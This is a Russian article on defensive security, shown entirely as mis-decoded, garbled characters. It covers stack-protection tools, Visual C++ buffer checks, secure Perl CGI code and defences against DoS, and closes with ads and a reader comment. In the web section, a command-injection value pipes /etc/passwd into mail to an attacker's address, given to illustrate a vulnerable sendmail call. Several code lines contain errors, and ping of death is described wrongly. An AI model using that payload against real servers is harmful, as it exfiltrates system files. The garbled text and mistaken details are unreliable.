  1. Memwatch - определ€ет ошибки работы с пам€тью. –аботает с Gcc, Microsoft Visual C++ ( 16, 32 ) и т.д. ћногопоточность и C++ практически не поддерживаютс€.
  2. dmalloc ( http://dmalloc.com ) - библиотека, замещающа€ собой стандартные функции дл€ работы с пам€тью: malloc, calloc, realloc и др. –аботает с утечками пам€ти, выходами за границы переполнени€ буферов и т.п. —уществуют версии как под Windows, так и под многочисленные клоны и разновидности UNIX.
  3. Stack Guard ( http://www.cse.ogi.edu/DISC/projects/immunix/StackGuard ) - патч дл€ Gcc, хорошо реализующий защиту с помощью canary word.
  4. ProPolice - патч дл€ Gcc, реализующий защиту от срыва стека и основанный на StackGuard. ¬ходит в дистрибутив OpenBSD и Trusted Debian.

ѕо адресу http://www.trl.ibm.com/projects/security/ssp можно найти ещЄ некоторые утилиты подобного рода.

Ќапоследок поговорим о технологии неисполн€емого стека, заключающейс€ в том, чтобы запрещать исполн€ть код в сегментах стека и данных. ќна защищает только от внедрени€ исполн€емого кода и неудобна тем, что может помешать компил€торам и интерпретаторам, исполн€ющим часть кода динамически.  роме того, еЄ можно обойти ( подробнее ознакомитьс€ с технической реализацией атаки можно на сайте http://www.insecure.org/sploits/non-executable.stack.problems.html, а скачать соответствующий патч дл€ €дра Linux не выше 2.0, 2.2, 2.4 - на сайте http://www.false.com/security/linux. “еперь поговорим о Windows.

ѕро AntiCracker Shield, предназначенный в основном дл€ системных администраторов и обычных пользователей уже говорилось. ƒл€ программистов могу посоветовать скорейший переход на Microsoft Visual C++ 7.0, вход€щий в состав Microsoft VisuaL Studio.Net ( если они до сих пор этого не сделали ), так как он включает в себ€ встроенную проверку на переполнение буферов. ≈Є только нужно активировать: в меню выбираем Configuration Properties > C/C++ > Code Generation и устанавливаем там параметр Buffer Security Check в "Yes". ”вы, у этого способа есть минусы:

  1. Ќе защищаютс€ динамические буфера;
  2.  олоссально снижаетс€ скорость выполнени€ и степень "удобоваримости" кода. Ќо это беда всех патчей, ориентированных на защиту от переполнений, неважно, под *nix - системы или под Windows, и вр€д ли в ближайшее врем€ будут предложены другие варианты решени€ проблемы.
ƒл€ контрол€ пам€ти можно использовать утилиту NuMega Bounds Checker ( http://www.numega.com ), встраиваемую в Visual C++. ќна отслеживает все операции с пам€тью и по завершении работы программы выводит отчЄт об еЄ УузкихФ местах. ѕерейдЄм к проблемам написани€ защищЄнного кода в web - сценари€х ( php, perl, asp, cgi и т.д. ). –азличают атаки с использованием:
  1. переполнени€ буферов;
  2. SQL - иньекций;
  3. нефильтруемых метасимволов;
  4. SOAP - запросов.

«ащиту от подобных запросов можно реализовать с помощью mod_security. ќ его настройке говорить не будем, а вернЄмс€ к написанию защищЄнного кода.

¬от, например, устаревший, но кое - где ещЄ используемый у€звимый код, обращающийс€ к sendmail:

  Use CGI qw (:standart);
  $email=param ( 'email' );
  open ( MAIL,"|usr/sbin/sendmail -t $email" );
  print MAIL "From:administrator@yandex.ru\n";
  print MAIL "Subject:Thanks\n\n Thank you!\n";
  close ( MAIL );
—лабые места: во - первых, переменна€ $email не провер€етс€ на специальные символы, а во - вторых, sendmail запускаетс€ с ключом -t. ¬ результате, если взломщик введЄт свой e - mail в виде krokazjabra@pochta.ru| cat /etc/passwd|mail krokazjabra@pochta.ru, ему придЄт на почтовый €щик два письма: обычное и с содержимым файла /etc/passwd. ѕоэтому дл€ защиты не используйте sendmail с ключом -t и фильтруйте переменную $email на специальные символы:
   die print "Incorrect e-mail adress!\n" if ( $email=~/[\|;]/||
   $email~!/\@/);
   open ( MAIL,"|usr/sbin/sendmail" );
   print MAIL "To:$email\n";
ќсновным принципом защиты от таких напастей, как у€звимость null - byte, позвол€юща€ читать файлы на сервере; атака на пайпы, дающа€ возможность исполн€ть команды с правами пользовател€, от имени которого запущен web - сервер; разнообразные вариации sql - injection и проч. €вл€етс€ проверка переменных, принимающих параметры, на наличие специальных символов, дл€ чего во многих случа€х полезны регул€рные выражени€. ≈щЄ одно правило - использовать в скриптах метод POST, а GET примен€ть только на стадии отладки. Ўифруйте в сценари€х жЄстко прописанные в коде пароли. ј при работе с suid - ными сценари€ми необходима taint - проверка ( опци€ -T ) компил€тора, анализирующа€ использование переменных окружени€ и опасных параметров и автоматически завершающа€ выполнение скрипта в случае обнаружени€ проблемы. ¬сегда включайте опцию компил€тора -w, выдающую в STDERR - поток предупреждени€.

“о, на что мы не можем повли€ть.

—уществует множество факторов, от нас не завис€щих: у€звимости аппаратных архитектур, стеков протоколов, программных продуктов ( мы редко можем повли€ть на разработку ѕќ )... »зменить ситуацию в данный момент невозможно, но постаратьс€ улучшить еЄ - одна из важнейших наших задач. ѕоговорим об этом.

¬ одной из самых попул€рных на сегодн€шний день архитектур - x86 - есть моменты, на пор€док снижающие защищЄнность любой компьютерной системы. ќни способствуют атакам на переполнение буфера ( например, идеологи€ FILO стека платформы ). ƒо тех пор, пока разработки Opteron, Athlon 64, флаг NX в степпинге E0, запрещающий выполнение кода в стеке на аппаратном уровне, не будут усовершенствованы, не станут доступными и не получат поддержки наиболее распространЄнных операционных систем, наде€тьс€, в сущности, не на что. ј так как дело переполнени€ми стека не ограничиваетс€, критические у€звимости обнаруживаютс€ и на платформе Apple/MacOS, и во множестве других операционных платформ/систем. » если ќ— ещЄ есть смысл повыбирать, то платформа особого значени€ не имеет.

—ледующа€ проблема - безопасность стека протоколов TCP/IP, который практически полностью безоружен перед многочисленными модификаци€ми DDos ( Dos ) атак, сниффингом, спуффингом и т.д. Ѕоротьс€ с этим недостатком придЄтс€ своими силами. Ќадстройки на третьем уровне - наилучший способ защиты от сниффинга ( точнее от перехвата им данных ). “акже полезно использование UTP ( неэкранированной витой пары ) и интеллектуальных свитчей, что обеспечит получение машиной только тех данных, которые адресованы ей. ”сложнение процесса определени€ sequence number защитит от спуффинга. ќно реализуетс€ засчЄт повышени€ скорости изменени€ sequence number на сервере или случайной генерации коэффициента увеличени€ sequence number ( алгоритм лучше закриптографировать ). ‘айерволл не должен пропускать пакеты, поступившие извне, но с обратным адресом, соответствующим внутренней сети, и исход€щие локальные пакеты во внешнюю сеть, если их адрес не относитс€ к адресам внутренней сети. Ўифровать всЄ!

ƒве DDos ( Dos ) атаки, основанные на одном и том же ICMP - протоколе, - это ICMP - flood и ping of death. ”старевший, но по - прежнему эффективный ICMP - flood реализуетс€ путЄм отсылки серверу больших ( 64 кб ) и фрагментированных пакетов - операционна€ система не в состо€нии их обработать и виснет. Ping of death основываетс€ на ICMP - flood, только ping - запросы пересылаютс€ по адресу широковещательной рассылки. «десь в качестве отправител€ указан адрес хоста - жертвы, и все компьютеры, получившие такой запрос, разом отсылают ответы, обработать которые хост не может. —пособ защиты - настройка маршрутизатора таким образом, чтобы он перестал пропускать превысивший порог допустимой интенсивности ICMP - траффик ( количество пакетов на единицу времени ). «апретить такие атаки дл€ локальных пользователей можно также прописанными на маршрутизаторе правилами и ограничением доступа к ping.

≈щЄ одна попул€рна€ атака - syn flood. ≈Є принцип прост: серверу приходит слишком много запросов на установление соединени€, в результате чего он перестаЄт реагировать на поступающие ему пакеты. «ащита: установка специальных патчей ( например, на основе алгоритма Early Random Drop, реализующего автоматическое прореживание очереди ) и настройка файерволла таким образом, чтобы он сам устанавливал все вход€щие TCP/IP - соединени€ и затем переадресовывал их на внутреннюю машину.

  каждой атаке нужен индивидуальный подход. ≈сть, например, локальные Dos ( DDos ) атаки, и далеко не все из них старые и неэффективные, в частности, Land, локальные "бури", основанные на UDP - протоколе и др. Ќо в большинстве своЄм защита реализуетс€ одинаково: настройка файерволла на блокирование чересчур активного вход€щего/исход€щего траффика по конкретным протоколам, блокирование пакетов, пришедших извне, но с обратным адресом внутренней сети и наоборот и проч.; в случае атак, исход€щих от локальных пользователей, необходимо ограничить доступ к инструментам, могущим служить реализации атаки ( зачем обыкновенной рабочей станции корпоративной сети утилита Ping ? ), грамотно настроить маршрутизатор и т.д.

“аким образом, мы видим, что кроме дыр в системе безопасности, созданных или оставленных безграмотными системными администраторами, есть вещи, нам не подвластные.

«аключение.

я постаралась осветить главные направлени€ и концепции обеспечени€ информационной безопасности практически всех составл€ющих компьютерной сети. ѕорой мы приходили к весьма неутешительным выводам. Ќо тем не менее »нтернет до сих пор существует, и огромное число пользователей работает с ним каждый день - так же, как и с компьютерами вообще. ќт нас, специалистов по информационной безопасности, зависит, будут ли пользователи хоть немного довер€ть »нтернету и компьютерам и продолжать использовать их дл€ хранени€ своих данных и решени€ повседневных задач. “ыс€чам информационных вандалов ( не будем называть их хакерами, помн€ о кЄрнел - хакерах из университета Ѕеркли ) така€ картина, очевидно, не по душе. Ќо мы можем по мере сил преп€тствовать им. “ак давайте же не будем усугубл€ть и без того сложную ситуацию и сделаем всЄ возможное дл€ обеспечени€ безопасности мира информационных технологий !

"Ћаборатори€  асперского" - международна€ компани€-разработчик программного обеспечени€ дл€ защиты от вирусов, хакеров и спама. ѕродукты компании предназначены дл€ широкого круга клиентов - от домашних пользователей до крупных корпораций. ¬ активе "Ћаборатории  асперского" 16-летний опыт непрерывного противосто€ни€ вирусным угрозам, позволивший компании накопить уникальные знани€ и навыки и стать признанным экспертом в области создани€ систем антивирусной зашиты.

 омпани€ SoftKey Ц это уникальный сервис дл€ покупателей, разработчиков, дилеров и аффилиатЦпартнеров.  роме того, это один из лучших »нтернет-магазинов ѕќ в –оссии, ”краине,  азахстане, который предлагает покупател€м широкий ассортимент, множество способов оплаты, оперативную (часто мгновенную) обработку заказа, отслеживание процесса выполнени€ заказа в персональном разделе, различные скидки от

јкадеми€ »нформационных —истем (ј»—) создана в 1996 году и за врем€ работы обучила свыше 7000 специалистов различного профил€. ј»— предлагает своим партнерам дес€тки образовательных программ, курсов, тренингов и выездных семинаров. —егодн€ ј»— представлена направлени€ми: Ђ»нформационные технологииї, Ђƒистанционное обучение в области »“ї, Ђ»нформационна€ безопасность, Ђ”правление проектамиї, ЂЅизнес-образованиеї, Ђ—еминары и тренингиї, ЂЁкологические промышленные системыї, Ђ онференцииї, Ђ онсалтингї и Ђ онкурентна€ разведка на основе »нтернетї. ј»— €вл€етс€ организатором конференций по информационной безопасности, которые стали общепризнанными научно-практическими меропри€ти€ми федерального значени€. Ѕлижайша€ из них - четвЄрта€ всероссийска€ конференци€ Ђќбеспечение информационной безопасности. –егиональные аспектыї - пройдет в —очи с 13 по 17 сент€бр€ текущего года. http://www.infosystem.ru/longconf.php?fid=1119938331389056

»нтернет-магазин www.watches.ru входит в состав крупной специализированной сети часовых салонов ћќ— ќ¬— ќ≈ ¬–≈ћя, котора€ насчитывает более 40 торговых точек по ћоскве и регионам –оссии. ¬ нашем магазине представлены более 3000 моделей часов производства Ўвейцарии, √ермании, ‘ранции и  ореи. ƒоставка по ћоскве - бесплатно. ƒл€ посто€нных клиентов существует гибка€ система скидок и выдаетс€ накопительна€ дисконтна€ карта Ђћосковское врем€ї.

или введите им€

CAPTCHA
1
28-09-2007 17:28:05
ќднако, по секулабу начинает расползатьс€ плагиат
0 |